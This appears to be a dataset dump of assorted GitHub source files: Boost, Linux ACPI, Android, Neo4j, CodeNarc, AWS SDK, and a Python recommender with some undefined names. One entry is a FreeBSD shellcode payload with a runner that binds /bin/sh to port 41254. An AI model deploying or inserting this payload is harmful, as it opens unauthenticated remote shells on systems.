text
stringlengths
2
99.9k
meta
dict
#ifndef BOOST_MPL_AUX_PREPROCESSOR_DEFAULT_PARAMS_HPP_INCLUDED #define BOOST_MPL_AUX_PREPROCESSOR_DEFAULT_PARAMS_HPP_INCLUDED // Copyright Aleksey Gurtovoy 2002-2004 // // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // See http://www.boost.org/libs/mpl for documentation. // $Id: default_params.hpp 49267 2008-10-11 06:19:02Z agurtovoy $ // $Date: 2008-10-11 02:19:02 -0400 (Sat, 11 Oct 2008) $ // $Revision: 49267 $ #include <boost/mpl/aux_/config/preprocessor.hpp> // BOOST_MPL_PP_DEFAULT_PARAMS(0,T,int): <nothing> // BOOST_MPL_PP_DEFAULT_PARAMS(1,T,int): T1 = int // BOOST_MPL_PP_DEFAULT_PARAMS(2,T,int): T1 = int, T2 = int // BOOST_MPL_PP_DEFAULT_PARAMS(n,T,int): T1 = int, T2 = int, .., Tn = int #if !defined(BOOST_MPL_CFG_NO_OWN_PP_PRIMITIVES) # include <boost/preprocessor/cat.hpp> # define BOOST_MPL_PP_DEFAULT_PARAMS(n,p,v) \ BOOST_PP_CAT(BOOST_MPL_PP_DEFAULT_PARAMS_,n)(p,v) \ /**/ # define BOOST_MPL_PP_DEFAULT_PARAMS_0(p,v) # define BOOST_MPL_PP_DEFAULT_PARAMS_1(p,v) p##1=v # define BOOST_MPL_PP_DEFAULT_PARAMS_2(p,v) p##1=v,p##2=v # define BOOST_MPL_PP_DEFAULT_PARAMS_3(p,v) p##1=v,p##2=v,p##3=v # define BOOST_MPL_PP_DEFAULT_PARAMS_4(p,v) p##1=v,p##2=v,p##3=v,p##4=v # define BOOST_MPL_PP_DEFAULT_PARAMS_5(p,v) p##1=v,p##2=v,p##3=v,p##4=v,p##5=v # define BOOST_MPL_PP_DEFAULT_PARAMS_6(p,v) p##1=v,p##2=v,p##3=v,p##4=v,p##5=v,p##6=v # define BOOST_MPL_PP_DEFAULT_PARAMS_7(p,v) p##1=v,p##2=v,p##3=v,p##4=v,p##5=v,p##6=v,p##7=v # define BOOST_MPL_PP_DEFAULT_PARAMS_8(p,v) p##1=v,p##2=v,p##3=v,p##4=v,p##5=v,p##6=v,p##7=v,p##8=v # define BOOST_MPL_PP_DEFAULT_PARAMS_9(p,v) p##1=v,p##2=v,p##3=v,p##4=v,p##5=v,p##6=v,p##7=v,p##8=v,p##9=v #else # include <boost/preprocessor/tuple/elem.hpp> # include <boost/preprocessor/comma_if.hpp> # include <boost/preprocessor/repeat.hpp> # include <boost/preprocessor/inc.hpp> # include <boost/preprocessor/cat.hpp> # define BOOST_MPL_PP_AUX_DEFAULT_PARAM_FUNC(unused, i, pv) \ BOOST_PP_COMMA_IF(i) \ BOOST_PP_CAT( BOOST_PP_TUPLE_ELEM(2,0,pv), BOOST_PP_INC(i) ) \ = BOOST_PP_TUPLE_ELEM(2,1,pv) \ /**/ # define BOOST_MPL_PP_DEFAULT_PARAMS(n, param, value) \ BOOST_PP_REPEAT( \ n \ , BOOST_MPL_PP_AUX_DEFAULT_PARAM_FUNC \ , (param,value) \ ) \ /**/ #endif #endif // BOOST_MPL_AUX_PREPROCESSOR_DEFAULT_PARAMS_HPP_INCLUDED
{ "pile_set_name": "Github" }
/* * Copyright (C) 2005 Intel Corporation * Copyright (C) 2009 Hewlett-Packard Development Company, L.P. * * Alex Chiang <achiang@hp.com> * - Unified x86/ia64 implementations * Venkatesh Pallipadi <venkatesh.pallipadi@intel.com> * - Added _PDC for platforms with Intel CPUs */ #include <linux/export.h> #include <linux/dmi.h> #include <linux/slab.h> #include <acpi/acpi_drivers.h> #include <acpi/processor.h> #include "internal.h" #define PREFIX "ACPI: " #define _COMPONENT ACPI_PROCESSOR_COMPONENT ACPI_MODULE_NAME("processor_core"); static int __init set_no_mwait(const struct dmi_system_id *id) { printk(KERN_NOTICE PREFIX "%s detected - " "disabling mwait for CPU C-states\n", id->ident); boot_option_idle_override = IDLE_NOMWAIT; return 0; } static struct dmi_system_id __initdata processor_idle_dmi_table[] = { { set_no_mwait, "Extensa 5220", { DMI_MATCH(DMI_BIOS_VENDOR, "Phoenix Technologies LTD"), DMI_MATCH(DMI_SYS_VENDOR, "Acer"), DMI_MATCH(DMI_PRODUCT_VERSION, "0100"), DMI_MATCH(DMI_BOARD_NAME, "Columbia") }, NULL}, {}, }; static int map_lapic_id(struct acpi_subtable_header *entry, u32 acpi_id, int *apic_id) { struct acpi_madt_local_apic *lapic = (struct acpi_madt_local_apic *)entry; if (!(lapic->lapic_flags & ACPI_MADT_ENABLED)) return 0; if (lapic->processor_id != acpi_id) return 0; *apic_id = lapic->id; return 1; } static int map_x2apic_id(struct acpi_subtable_header *entry, int device_declaration, u32 acpi_id, int *apic_id) { struct acpi_madt_local_x2apic *apic = (struct acpi_madt_local_x2apic *)entry; if (!(apic->lapic_flags & ACPI_MADT_ENABLED)) return 0; if (device_declaration && (apic->uid == acpi_id)) { *apic_id = apic->local_apic_id; return 1; } return 0; } static int map_lsapic_id(struct acpi_subtable_header *entry, int device_declaration, u32 acpi_id, int *apic_id) { struct acpi_madt_local_sapic *lsapic = (struct acpi_madt_local_sapic *)entry; if (!(lsapic->lapic_flags & ACPI_MADT_ENABLED)) return 0; if (device_declaration) { if ((entry->length < 16) || (lsapic->uid != acpi_id)) return 0; } else if (lsapic->processor_id != acpi_id) return 0; *apic_id = (lsapic->id << 8) | lsapic->eid; return 1; } static int map_madt_entry(int type, u32 acpi_id) { unsigned long madt_end, entry; static struct acpi_table_madt *madt; static int read_madt; int apic_id = -1; if (!read_madt) { if (ACPI_FAILURE(acpi_get_table(ACPI_SIG_MADT, 0, (struct acpi_table_header **)&madt))) madt = NULL; read_madt++; } if (!madt) return apic_id; entry = (unsigned long)madt; madt_end = entry + madt->header.length; /* Parse all entries looking for a match. */ entry += sizeof(struct acpi_table_madt); while (entry + sizeof(struct acpi_subtable_header) < madt_end) { struct acpi_subtable_header *header = (struct acpi_subtable_header *)entry; if (header->type == ACPI_MADT_TYPE_LOCAL_APIC) { if (map_lapic_id(header, acpi_id, &apic_id)) break; } else if (header->type == ACPI_MADT_TYPE_LOCAL_X2APIC) { if (map_x2apic_id(header, type, acpi_id, &apic_id)) break; } else if (header->type == ACPI_MADT_TYPE_LOCAL_SAPIC) { if (map_lsapic_id(header, type, acpi_id, &apic_id)) break; } entry += header->length; } return apic_id; } static int map_mat_entry(acpi_handle handle, int type, u32 acpi_id) { struct acpi_buffer buffer = { ACPI_ALLOCATE_BUFFER, NULL }; union acpi_object *obj; struct acpi_subtable_header *header; int apic_id = -1; if (ACPI_FAILURE(acpi_evaluate_object(handle, "_MAT", NULL, &buffer))) goto exit; if (!buffer.length || !buffer.pointer) goto exit; obj = buffer.pointer; if (obj->type != ACPI_TYPE_BUFFER || obj->buffer.length < sizeof(struct acpi_subtable_header)) { goto exit; } header = (struct acpi_subtable_header *)obj->buffer.pointer; if (header->type == ACPI_MADT_TYPE_LOCAL_APIC) { map_lapic_id(header, acpi_id, &apic_id); } else if (header->type == ACPI_MADT_TYPE_LOCAL_SAPIC) { map_lsapic_id(header, type, acpi_id, &apic_id); } exit: kfree(buffer.pointer); return apic_id; } int acpi_get_cpuid(acpi_handle handle, int type, u32 acpi_id) { #ifdef CONFIG_SMP int i; #endif int apic_id = -1; apic_id = map_mat_entry(handle, type, acpi_id); if (apic_id == -1) apic_id = map_madt_entry(type, acpi_id); if (apic_id == -1) { /* * On UP processor, there is no _MAT or MADT table. * So above apic_id is always set to -1. * * BIOS may define multiple CPU handles even for UP processor. * For example, * * Scope (_PR) * { * Processor (CPU0, 0x00, 0x00000410, 0x06) {} * Processor (CPU1, 0x01, 0x00000410, 0x06) {} * Processor (CPU2, 0x02, 0x00000410, 0x06) {} * Processor (CPU3, 0x03, 0x00000410, 0x06) {} * } * * Ignores apic_id and always returns 0 for the processor * handle with acpi id 0 if nr_cpu_ids is 1. * This should be the case if SMP tables are not found. * Return -1 for other CPU's handle. */ if (nr_cpu_ids <= 1 && acpi_id == 0) return acpi_id; else return apic_id; } #ifdef CONFIG_SMP for_each_possible_cpu(i) { if (cpu_physical_id(i) == apic_id) return i; } #else /* In UP kernel, only processor 0 is valid */ if (apic_id == 0) return apic_id; #endif return -1; } EXPORT_SYMBOL_GPL(acpi_get_cpuid); static bool __init processor_physically_present(acpi_handle handle) { int cpuid, type; u32 acpi_id; acpi_status status; acpi_object_type acpi_type; unsigned long long tmp; union acpi_object object = { 0 }; struct acpi_buffer buffer = { sizeof(union acpi_object), &object }; status = acpi_get_type(handle, &acpi_type); if (ACPI_FAILURE(status)) return false; switch (acpi_type) { case ACPI_TYPE_PROCESSOR: status = acpi_evaluate_object(handle, NULL, NULL, &buffer); if (ACPI_FAILURE(status)) return false; acpi_id = object.processor.proc_id; break; case ACPI_TYPE_DEVICE: status = acpi_evaluate_integer(handle, "_UID", NULL, &tmp); if (ACPI_FAILURE(status)) return false; acpi_id = tmp; break; default: return false; } type = (acpi_type == ACPI_TYPE_DEVICE) ? 1 : 0; cpuid = acpi_get_cpuid(handle, type, acpi_id); if (cpuid == -1) return false; return true; } static void acpi_set_pdc_bits(u32 *buf) { buf[0] = ACPI_PDC_REVISION_ID; buf[1] = 1; /* Enable coordination with firmware's _TSD info */ buf[2] = ACPI_PDC_SMP_T_SWCOORD; /* Twiddle arch-specific bits needed for _PDC */ arch_acpi_set_pdc_bits(buf); } static struct acpi_object_list *acpi_processor_alloc_pdc(void) { struct acpi_object_list *obj_list; union acpi_object *obj; u32 *buf; /* allocate and initialize pdc. It will be used later. */ obj_list = kmalloc(sizeof(struct acpi_object_list), GFP_KERNEL); if (!obj_list) { printk(KERN_ERR "Memory allocation error\n"); return NULL; } obj = kmalloc(sizeof(union acpi_object), GFP_KERNEL); if (!obj) { printk(KERN_ERR "Memory allocation error\n"); kfree(obj_list); return NULL; } buf = kmalloc(12, GFP_KERNEL); if (!buf) { printk(KERN_ERR "Memory allocation error\n"); kfree(obj); kfree(obj_list); return NULL; } acpi_set_pdc_bits(buf); obj->type = ACPI_TYPE_BUFFER; obj->buffer.length = 12; obj->buffer.pointer = (u8 *) buf; obj_list->count = 1; obj_list->pointer = obj; return obj_list; } /* * _PDC is required for a BIOS-OS handshake for most of the newer * ACPI processor features. */ static int acpi_processor_eval_pdc(acpi_handle handle, struct acpi_object_list *pdc_in) { acpi_status status = AE_OK; if (boot_option_idle_override == IDLE_NOMWAIT) { /* * If mwait is disabled for CPU C-states, the C2C3_FFH access * mode will be disabled in the parameter of _PDC object. * Of course C1_FFH access mode will also be disabled. */ union acpi_object *obj; u32 *buffer = NULL; obj = pdc_in->pointer; buffer = (u32 *)(obj->buffer.pointer); buffer[2] &= ~(ACPI_PDC_C_C2C3_FFH | ACPI_PDC_C_C1_FFH); } status = acpi_evaluate_object(handle, "_PDC", pdc_in, NULL); if (ACPI_FAILURE(status)) ACPI_DEBUG_PRINT((ACPI_DB_INFO, "Could not evaluate _PDC, using legacy perf. control.\n")); return status; } void acpi_processor_set_pdc(acpi_handle handle) { struct acpi_object_list *obj_list; if (arch_has_acpi_pdc() == false) return; obj_list = acpi_processor_alloc_pdc(); if (!obj_list) return; acpi_processor_eval_pdc(handle, obj_list); kfree(obj_list->pointer->buffer.pointer); kfree(obj_list->pointer); kfree(obj_list); } static acpi_status __init early_init_pdc(acpi_handle handle, u32 lvl, void *context, void **rv) { if (processor_physically_present(handle) == false) return AE_OK; acpi_processor_set_pdc(handle); return AE_OK; } void __init acpi_early_processor_set_pdc(void) { /* * Check whether the system is DMI table. If yes, OSPM * should not use mwait for CPU-states. */ dmi_check_system(processor_idle_dmi_table); acpi_walk_namespace(ACPI_TYPE_PROCESSOR, ACPI_ROOT_OBJECT, ACPI_UINT32_MAX, early_init_pdc, NULL, NULL, NULL); acpi_get_devices("ACPI0007", early_init_pdc, NULL, NULL); }
{ "pile_set_name": "Github" }
/* * Copyright (C) 2016 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.android.server.os; import android.annotation.NonNull; import android.annotation.Nullable; import android.content.Context; import android.os.Build; import android.os.IDeviceIdentifiersPolicyService; import android.os.RemoteException; import android.os.SystemProperties; import com.android.internal.telephony.TelephonyPermissions; import com.android.server.SystemService; /** * This service defines the policy for accessing device identifiers. */ public final class DeviceIdentifiersPolicyService extends SystemService { public DeviceIdentifiersPolicyService(Context context) { super(context); } @Override public void onStart() { publishBinderService(Context.DEVICE_IDENTIFIERS_SERVICE, new DeviceIdentifiersPolicy(getContext())); } private static final class DeviceIdentifiersPolicy extends IDeviceIdentifiersPolicyService.Stub { private final @NonNull Context mContext; public DeviceIdentifiersPolicy(Context context) { mContext = context; } @Override public @Nullable String getSerial() throws RemoteException { // Since this invocation is on the server side a null value is used for the // callingPackage as the server's package name (typically android) should not be used // for any device / profile owner checks. The majority of requests for the serial number // should use the getSerialForPackage method with the calling package specified. if (!TelephonyPermissions.checkCallingOrSelfReadDeviceIdentifiers(mContext, /* callingPackage */ null, null, "getSerial")) { return Build.UNKNOWN; } return SystemProperties.get("ro.serialno", Build.UNKNOWN); } @Override public @Nullable String getSerialForPackage(String callingPackage, String callingFeatureId) throws RemoteException { if (!TelephonyPermissions.checkCallingOrSelfReadDeviceIdentifiers(mContext, callingPackage, callingFeatureId, "getSerial")) { return Build.UNKNOWN; } return SystemProperties.get("ro.serialno", Build.UNKNOWN); } } }
{ "pile_set_name": "Github" }
/* FreeBSD shellcode that binds /bin/sh to port 41254 Assembly code and explanation will be released on safemode.org soon. Written by zillion (zillion at safemode.org) */ char shellcode[] = "\xeb\x64\x5e\x31\xc0\x88\x46\x07\x6a\x06\x6a\x01\x6a\x02\xb0" "\x61\x50\xcd\x80\x89\xc2\x31\xc0\xc6\x46\x09\x02\x66\xc7\x46" "\x0a\xa1\x26\x89\x46\x0c\x6a\x10\x8d\x46\x08\x50\x52\x31\xc0" "\xb0\x68\x50\xcd\x80\x6a\x01\x52\x31\xc0\xb0\x6a\x50\xcd\x80" "\x31\xc0\x50\x50\x52\xb0\x1e\x50\xcd\x80\xb1\x03\xbb\xff\xff" "\xff\xff\x89\xc2\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01" "\x75\xf3\x31\xc0\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\x97\xff" "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
{ "pile_set_name": "Github" }
# Copyright (C) 2008, Leon Woestenberg, Sidebranch, All Rights Reserved # Released under the MIT license (see packages/COPYING) #@TYPE: Machine #@Name: AMCC Canyonlands Development Platform #@DESCRIPTION: Machine configuration for the AMCC Canyonlands development platform http://www.amcc.com/Embedded/Downloads/460EX/ TARGET_ARCH = "powerpc" PREFERRED_PROVIDER_virtual/kernel = "linux" PREFERRED_VERSION_linux = "2.6.26" KERNEL_IMAGETYPE = "uImage" MACHINE_FEATURES = "kernel26 usbhost" PREFERRED_VERSION_u-boot = "1.3.2" UBOOT_MACHINE = "canyonlands_config" UBOOT_ENTRYPOINT = "0" UBOOT_LOADADDRESS = "0" #don't try to access tty1 USE_VT = "0" SERIAL_CONSOLE = "115200 ttyS0" EXTRA_IMAGECMD = "--big-endian" ERASEBLOCK_SIZE = "0x10000" IMAGE_FSTYPES = "jffs2" #tune for the AMCC460 cpu #(it has a 440 core with FPU) require conf/machine/include/tune-ppc440e.inc
{ "pile_set_name": "Github" }
/* * Copyright (c) 2002-2020 "Neo4j," * Neo4j Sweden AB [http://neo4j.com] * * This file is part of Neo4j. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.neo4j.driver.internal.messaging.v2; import org.junit.jupiter.api.Test; import java.time.LocalDateTime; import java.time.OffsetTime; import java.time.ZonedDateTime; import org.neo4j.driver.internal.util.messaging.AbstractMessageReaderTestBase; import org.neo4j.driver.internal.messaging.MessageFormat; import org.neo4j.driver.internal.messaging.ResponseMessageHandler; import org.neo4j.driver.internal.messaging.response.RecordMessage; import org.neo4j.driver.internal.packstream.PackInput; import org.neo4j.driver.Value; import static org.mockito.Mockito.verify; import static org.neo4j.driver.Values.point; import static org.neo4j.driver.Values.value; class MessageReaderV2Test extends AbstractMessageReaderTestBase { @Test void shouldReadMessageWithTemporalValues() throws Exception { Value[] fields = {value( LocalDateTime.now() ), value( OffsetTime.now() ), value( ZonedDateTime.now() )}; ResponseMessageHandler handler = testMessageReading( new RecordMessage( fields ) ); verify( handler ).handleRecordMessage( fields ); } @Test void shouldReadMessageWithSpatialValues() throws Exception { Value[] fields = {point( 42, 1.1, 2.2 ), point( 4242, 3.3, 4.4 ), point( 24, 5.5, 6.6, 7.7 ), point( 2424, 8.8, 9.9, 10.1 )}; ResponseMessageHandler handler = testMessageReading( new RecordMessage( fields ) ); verify( handler ).handleRecordMessage( fields ); } @Override protected MessageFormat.Reader newReader( PackInput input ) { return new MessageReaderV2( input ); } }
{ "pile_set_name": "Github" }
/* * Copyright 2011 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.codenarc.rule.concurrency import org.codehaus.groovy.ast.FieldNode import org.codehaus.groovy.ast.expr.Expression import org.codenarc.rule.AbstractAstVisitorRule import org.codenarc.rule.AbstractFieldVisitor import org.codenarc.util.AstUtil import java.lang.reflect.Modifier import java.text.SimpleDateFormat /** * SimpleDateFormat objects should not be used as static fields. SimpleDateFormat are inherently unsafe for * multi-threaded use. Sharing a single instance across thread boundaries without proper synchronization will * result in erratic behavior of the application. * * @author Chris Mair */ class StaticSimpleDateFormatFieldRule extends AbstractAstVisitorRule { String name = 'StaticSimpleDateFormatField' int priority = 2 Class astVisitorClass = StaticSimpleDateFormatFieldAstVisitor } class StaticSimpleDateFormatFieldAstVisitor extends AbstractFieldVisitor { @Override void visitField(FieldNode node) { if (Modifier.isStatic(node.modifiers) && AstUtil.classNodeImplementsType(node.type, SimpleDateFormat)) { addSimpleDateFormatViolation(node, node.name) } else { if (Modifier.isStatic(node.modifiers) && node.initialValueExpression && isSimpleDateFormatConstructorCall(node.initialValueExpression)) { addSimpleDateFormatViolation(node, node.name) } } } private static boolean isSimpleDateFormatConstructorCall(Expression expression) { AstUtil.isConstructorCall(expression, ['SimpleDateFormat', 'java.text.SimpleDateFormat']) } private void addSimpleDateFormatViolation(FieldNode node, String fieldName) { addViolation(node, "SimpleDateFormat instances are not thread safe. Wrap the SimpleDateFormat field $fieldName in a ThreadLocal or make it an instance field") } }
{ "pile_set_name": "Github" }
# encoding:utf-8 import sys import os sys.path.append("..") import numpy as np from mf import MF from prettyprinter import cpprint from collections import defaultdict from prettyprinter import cpprint from utility.matrix import SimMatrix from utility.similarity import pearson_sp from utility import util class TriCFBias(MF): """ docstring for TriCFBias """ def __init__(self): super(TriCFBias, self).__init__() # self.config.lr=0.001 self.config.lambdaU = 0.002 self.config.lambdaI = 0.001 self.config.lambdaP = 0.02 self.config.lambdaQ = 0.03 self.config.lambdaB = 0.01 self.config.user_near_num = 50 self.config.item_near_num = 50 # self.init_model() def init_model(self, k): super(TriCFBias, self).init_model(k) self.Bu = np.random.rand(self.rg.get_train_size()[0]) # bias value of user self.Bi = np.random.rand(self.rg.get_train_size()[1]) # bais value of item self.build_user_item_sim_CF() # construct the u-u,i-i similarity matirx and their's k neighbors def build_user_item_sim_CF(self): from collections import defaultdict self.user_sim = SimMatrix() self.item_sim = SimMatrix() self.user_k_neibor = defaultdict(dict) self.item_k_neibor = defaultdict(dict) # compute item-item similarity matrix print('constructing user-user similarity matrix...') # self.user_sim = util.load_data('../data/sim/ft_08_uu_tricf.pkl') for u1 in self.rg.user: for u2 in self.rg.user: if u1 != u2: if self.user_sim.contains(u1, u2): continue sim = pearson_sp(self.rg.get_row(u1), self.rg.get_row(u2)) sim = round(sim, 5) self.user_sim.set(u1, u2, sim) if not os.path.exists('../data/sim'): os.makedirs('../data/sim') print('../data/sim folder has been established.') util.save_data(self.user_sim, '../data/sim/ft_08_uu_tricf_cv0.pkl') # compute the k neighbors of user # self.user_k_neibor = util.load_data( # '../data/neibor/ft_08_uu_' + str(self.config.user_near_num) + '_neibor_tricf.pkl') for user in self.rg.user: matchUsers = sorted(self.user_sim[user].items(), key=lambda x: x[1], reverse=True)[ :self.config.user_near_num] matchUsers = matchUsers[:self.config.user_near_num] self.user_k_neibor[user] = dict(matchUsers) if not os.path.exists('../data/neibor'): os.makedirs('../data/neibor') print('../data/neibor folder has been established.') util.save_data(self.user_k_neibor, '../data/neibor/ft_08_uu_' + str(self.config.user_near_num) + '_neibor_tricf_cv0.pkl') # compute item-item similarity matrix print('constructing item-item similarity matrix...') # self.item_sim = util.load_data('../data/sim/ft_08_ii_tricf.pkl') for i1 in self.rg.item: for i2 in self.rg.item: if i1 != i2: if self.item_sim.contains(i1, i2): continue sim = pearson_sp(self.rg.get_col(i1), self.rg.get_col(i2)) sim = round(sim, 5) self.item_sim.set(i1, i2, sim) util.save_data(self.item_sim, '../data/sim/ft_08_ii_tricf_cv0.pkl') # compute the k neighbors of item # self.item_k_neibor = util.load_data( # '../data/neibor/ft_08_ii_' + str(self.config.item_near_num) + '_neibor_tricf.pkl') for item in self.rg.item: matchItems = sorted(self.item_sim[item].items(), key=lambda x: x[1], reverse=True)[ :self.config.item_near_num] matchItems = matchItems[:self.config.item_near_num] self.item_k_neibor[item] = dict(matchItems) util.save_data(self.item_k_neibor, '../data/neibor/ft_08_ii_' + str(self.config.item_near_num) + '_neibor_tricf_cv0.pkl') pass def train_model(self, k): super(TriCFBias, self).train_model(k) print('training model...') iteration = 0 # faflag=True while iteration < self.config.maxIter: self.loss = 0 self.u_near_total_dict = defaultdict() self.i_near_total_dict = defaultdict() for index, line in enumerate(self.rg.trainSet()): user, item, rating = line u = self.rg.user[user] i = self.rg.item[item] error = rating - self.predict(user, item) self.loss += error ** 2 p, q = self.P[u], self.Q[i] # get the k neighbors of user and item matchUsers = self.user_k_neibor[user] matchItems = self.item_k_neibor[item] u_near_sum, u_near_total, s = np.zeros((self.config.factor)), 0.0, 0.0 for suser in matchUsers.keys(): near_user, sim_value = suser, matchUsers[suser] if sim_value != 0.0: s += sim_value pn = self.P[self.rg.user[near_user]] u_near_sum += sim_value * (pn - p) u_near_total += sim_value * ((pn - p).dot(pn - p)) if s != 0.0: u_near_sum /= s i_near_sum, i_near_total, ss = np.zeros((self.config.factor)), 0.0, 0.0 for sitem in matchItems: near_item, sim_value = sitem, matchItems[sitem] if sim_value != 0.0: ss += sim_value qn = self.Q[self.rg.item[near_item]] i_near_sum += sim_value * (qn - q) i_near_total += sim_value * ((qn - q).dot(qn - q)) if ss != 0.0: i_near_sum /= ss if u not in self.u_near_total_dict: self.u_near_total_dict[u] = u_near_total if i not in self.i_near_total_dict: self.i_near_total_dict[i] = i_near_total self.Bu[u] += self.config.lr * (error - self.config.lambdaB * self.Bu[u]) self.Bi[i] += self.config.lr * (error - self.config.lambdaB * self.Bi[i]) self.P[u] += self.config.lr * (error * q - self.config.lambdaU * u_near_sum - self.config.lambdaP * p) self.Q[i] += self.config.lr * (error * p - self.config.lambdaI * i_near_sum - self.config.lambdaQ * q) self.loss += 0.5 * (self.config.lambdaU * u_near_total + self.config.lambdaI * i_near_total) self.loss += self.config.lambdaP * (self.P * self.P).sum() + self.config.lambdaQ * (self.Q * self.Q).sum() \ + self.config.lambdaB * ((self.Bu * self.Bu).sum() + (self.Bi * self.Bi).sum()) iteration += 1 if self.isConverged(iteration): break # test cold start users among test set def predict_model_cold_users_improved(self): res = [] for user in self.rg.testColdUserSet_u.keys(): for item in self.rg.testColdUserSet_u[user].keys(): rating = self.rg.testColdUserSet_u[user][item] pred = self.predict_improved(user, item) # denormalize pred = denormalize(pred, self.config.min_val, self.config.max_val) pred = self.checkRatingBoundary(pred) res.append([user, item, rating, pred]) rmse = Metric.RMSE(res) return rmse if __name__ == '__main__': rmses = [] maes = [] tcsr = TriCFBias() # print(bmf.rg.trainSet_u[1]) for i in range(tcsr.config.k_fold_num): print('the %dth cross validation training' % i) tcsr.train_model(i) rmse, mae = tcsr.predict_model() rmses.append(rmse) maes.append(mae) rmse_avg = sum(rmses) / 5 mae_avg = sum(maes) / 5 print("the rmses are %s" % rmses) print("the maes are %s" % maes) print("the average of rmses is %s " % rmse_avg) print("the average of maes is %s " % mae_avg)
{ "pile_set_name": "Github" }
/* * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ /* * Do not modify this file. This file is generated from the ds-2015-04-16.normal.json service model. */ using System; using System.Collections.Generic; using System.Xml.Serialization; using System.Text; using System.IO; using System.Net; using Amazon.Runtime; using Amazon.Runtime.Internal; namespace Amazon.DirectoryService.Model { /// <summary> /// The certificate could not be added because the certificate limit has been reached. /// </summary> #if !NETSTANDARD [Serializable] #endif public partial class CertificateLimitExceededException : AmazonDirectoryServiceException { private string _requestId; /// <summary> /// Constructs a new CertificateLimitExceededException with the specified error /// message. /// </summary> /// <param name="message"> /// Describes the error encountered. /// </param> public CertificateLimitExceededException(string message) : base(message) {} /// <summary> /// Construct instance of CertificateLimitExceededException /// </summary> /// <param name="message"></param> /// <param name="innerException"></param> public CertificateLimitExceededException(string message, Exception innerException) : base(message, innerException) {} /// <summary> /// Construct instance of CertificateLimitExceededException /// </summary> /// <param name="innerException"></param> public CertificateLimitExceededException(Exception innerException) : base(innerException) {} /// <summary> /// Construct instance of CertificateLimitExceededException /// </summary> /// <param name="message"></param> /// <param name="innerException"></param> /// <param name="errorType"></param> /// <param name="errorCode"></param> /// <param name="requestId"></param> /// <param name="statusCode"></param> public CertificateLimitExceededException(string message, Exception innerException, ErrorType errorType, string errorCode, string requestId, HttpStatusCode statusCode) : base(message, innerException, errorType, errorCode, requestId, statusCode) {} /// <summary> /// Construct instance of CertificateLimitExceededException /// </summary> /// <param name="message"></param> /// <param name="errorType"></param> /// <param name="errorCode"></param> /// <param name="requestId"></param> /// <param name="statusCode"></param> public CertificateLimitExceededException(string message, ErrorType errorType, string errorCode, string requestId, HttpStatusCode statusCode) : base(message, errorType, errorCode, requestId, statusCode) {} #if !NETSTANDARD /// <summary> /// Constructs a new instance of the CertificateLimitExceededException class with serialized data. /// </summary> /// <param name="info">The <see cref="T:System.Runtime.Serialization.SerializationInfo" /> that holds the serialized object data about the exception being thrown.</param> /// <param name="context">The <see cref="T:System.Runtime.Serialization.StreamingContext" /> that contains contextual information about the source or destination.</param> /// <exception cref="T:System.ArgumentNullException">The <paramref name="info" /> parameter is null. </exception> /// <exception cref="T:System.Runtime.Serialization.SerializationException">The class name is null or <see cref="P:System.Exception.HResult" /> is zero (0). </exception> protected CertificateLimitExceededException(System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context) : base(info, context) { this.RequestId = (string)info.GetValue("RequestId", typeof(string)); } /// <summary> /// Sets the <see cref="T:System.Runtime.Serialization.SerializationInfo" /> with information about the exception. /// </summary> /// <param name="info">The <see cref="T:System.Runtime.Serialization.SerializationInfo" /> that holds the serialized object data about the exception being thrown.</param> /// <param name="context">The <see cref="T:System.Runtime.Serialization.StreamingContext" /> that contains contextual information about the source or destination.</param> /// <exception cref="T:System.ArgumentNullException">The <paramref name="info" /> parameter is a null reference (Nothing in Visual Basic). </exception> #if BCL35 [System.Security.Permissions.SecurityPermission( System.Security.Permissions.SecurityAction.LinkDemand, Flags = System.Security.Permissions.SecurityPermissionFlag.SerializationFormatter)] #endif [System.Security.SecurityCritical] // These FxCop rules are giving false-positives for this method [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Security", "CA2123:OverrideLinkDemandsShouldBeIdenticalToBase")] [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Security", "CA2134:MethodsMustOverrideWithConsistentTransparencyFxCopRule")] public override void GetObjectData(System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context) { base.GetObjectData(info, context); info.AddValue("RequestId", this.RequestId); } #endif /// <summary> /// Gets and sets the property RequestId. /// </summary> public string RequestId { get { return this._requestId; } set { this._requestId = value; } } // Check to see if RequestId property is set internal bool IsSetRequestId() { return this._requestId != null; } } }
{ "pile_set_name": "Github" }
